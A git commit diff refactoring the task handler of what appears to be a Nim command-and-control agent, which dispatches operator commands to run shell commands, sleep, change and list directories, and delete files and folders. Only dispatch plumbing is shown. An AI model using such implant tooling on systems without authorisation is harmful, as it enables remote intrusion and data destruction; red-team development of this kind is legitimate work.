Refactor redundant code for better extensibility with new commands.

This commit is contained in:
Jakob Friedl
2025-07-08 23:10:19 +02:00
parent 1f73cf142d
commit 71ff092975
10 changed files with 120 additions and 230 deletions

View File

@@ -1,53 +1,32 @@
import strutils
import strutils, tables
import ./types
import ./commands/commands
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
var taskResult: TaskResult
let handlers = {
ExecuteShell: taskShell,
Sleep: taskSleep,
GetWorkingDirectory: taskPwd,
SetWorkingDirectory: taskCd,
ListDirectory: taskDir,
RemoveFile: taskRm,
RemoveDirectory: taskRmdir
}.toTable
# Handle task command
case task.command:
of ExecuteShell:
let taskResult = taskShell(task)
echo taskResult.data
return taskResult
taskResult = handlers[task.command](task)
echo taskResult.data
# Handle actions on specific commands
case task.command:
of Sleep:
# Execute task
let taskResult = taskSleep(task)
# Update sleep delay in agent config
if taskResult.status == Completed:
config.sleep = parseInt(task.args[0])
# Return result
return taskResult
of GetWorkingDirectory:
let taskResult = taskPwd(task)
echo taskResult.data
return taskResult
of SetWorkingDirectory:
let taskResult = taskCd(task)
echo taskResult.data
return taskResult
of ListDirectory:
let taskResult = taskDir(task)
echo taskResult.data
return taskResult
of RemoveFile:
let taskResult = taskRm(task)
echo taskResult.data
return taskResult
of RemoveDirectory:
let taskResult = taskRmdir(task)
echo taskResult.data
return taskResult
else:
echo "Not implemented"
return nil
discard
# Return the result
return taskResult